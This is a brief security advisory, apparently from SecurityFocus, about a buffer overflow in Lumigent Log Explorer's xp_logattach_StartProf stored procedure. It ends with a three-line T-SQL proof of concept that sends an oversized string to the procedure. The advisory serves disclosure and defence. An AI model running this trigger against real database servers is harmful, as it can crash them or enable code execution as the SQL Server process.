Lumigent Log Explorer XP_LogAttach_StartProf Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/5016/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_StartProf stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default.

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_StartProf @bo
